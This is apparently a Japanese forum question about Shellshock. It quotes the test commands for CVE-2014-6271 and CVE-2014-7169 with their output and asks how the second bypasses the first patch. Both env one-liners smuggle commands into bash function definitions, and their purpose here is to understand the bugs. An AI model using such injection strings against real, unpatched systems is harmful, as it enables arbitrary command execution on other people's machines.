CVE-2014-6271の元のテストを理解しました。
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
しかし、CVE-2014-7169の更新されたテストと対応する出力に混乱しています。
$ env X='() { (a)=>\' sh -c "echo date"; cat echo
sh: X: line 1: syntax error near unexpected token `='
sh: X: line 1: `'
sh: error importing function definition for `X'
Thu 25 Sep 2014 08:50:18 BST
ここで何が起こっているのか、CVE-2014-6271のパッチをどのようにバイパスするのかを簡単に説明できますか?